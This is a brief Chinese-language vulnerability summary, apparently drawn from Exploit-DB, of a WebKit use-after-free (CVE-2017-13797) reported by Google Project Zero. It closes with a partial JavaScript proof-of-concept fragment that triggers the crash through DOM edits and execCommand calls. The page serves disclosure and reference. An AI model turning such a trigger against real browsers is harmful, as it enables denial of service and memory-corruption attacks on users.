关键漏洞信息 漏洞概述 EDB-ID: 43168 CVE: 2017-13797 Author: GOOGLE SECURITY RESEARCH Type: DOS Platform: MULTIPLE Date: 2017-11-22 Vulnerable App: WebKit 漏洞详情 Source: Chromium Project Zero Issue 1346 Description: 存在WebCore::PositionIterator::decrement中的use-after-free安全漏洞。该漏洞在WebCore x86_64 nightly构建的ASan构建中得到确认。 漏洞利用 Exploit: 提供的代码片段用于展示漏洞利用方式。 核心代码示例 ```html function jsfuzzer() { circle.nearestViewPortElement.innerHTML = "foo"; document.execCommand("selectAll", false); } function eventhandler1() { clipboard.appendChild(image); } function eventhandler2() { svg.appendChild(details); } function eventhandler3() { document.execCommand("fontName", false, "foo"); button.autofocus = true; window.addEventListener("DOMNodeInserted", eventhandler2); div.appendChild(q); }